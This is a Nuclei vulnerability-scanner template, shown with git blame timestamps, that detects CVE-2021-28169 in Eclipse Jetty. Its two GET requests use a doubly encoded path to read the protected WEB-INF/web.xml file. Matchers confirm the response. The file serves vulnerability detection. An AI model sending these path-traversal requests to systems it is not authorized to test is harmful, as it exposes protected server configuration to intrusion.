nuclei-templates/http/cves/2021/CVE-2021-28169.yaml

51 lines
1.7 KiB
YAML
Raw Normal View History

2021-06-24 16:00:02 +00:00
id: CVE-2021-28169
info:
name: Eclipse Jetty ConcatServlet - Information Disclosure
2021-06-24 16:00:02 +00:00
author: pikpikcu
2021-06-24 18:35:59 +00:00
severity: medium
description: |
Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
reference:
2021-06-24 16:00:02 +00:00
- https://twitter.com/sec715/status/1406787963569065988
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq
- https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-28169
2023-07-11 19:49:27 +00:00
- https://lists.apache.org/thread.html/r04a4b4553a23aff26f42635a6ae388c3b162aab30a88d12e59d05168@%3Cjira.kafka.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-28169
cwe-id: CWE-200
2023-07-11 19:49:27 +00:00
epss-score: 0.00116
cpe: cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: eclipse
product: jetty
tags: cve,cve2021,jetty
2021-06-24 16:00:02 +00:00
http:
2021-06-24 16:00:02 +00:00
- method: GET
path:
- "{{BaseURL}}/static?/%2557EB-INF/web.xml"
- "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: header
2021-06-24 16:00:02 +00:00
words:
2021-06-24 18:32:05 +00:00
- "application/xml"
2021-06-24 16:00:02 +00:00
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-06-24 16:00:02 +00:00
words:
- "</web-app>"
2021-06-24 18:32:05 +00:00
- "java.sun.com"
condition: and
2021-06-24 16:00:02 +00:00
- type: status
status:
- 200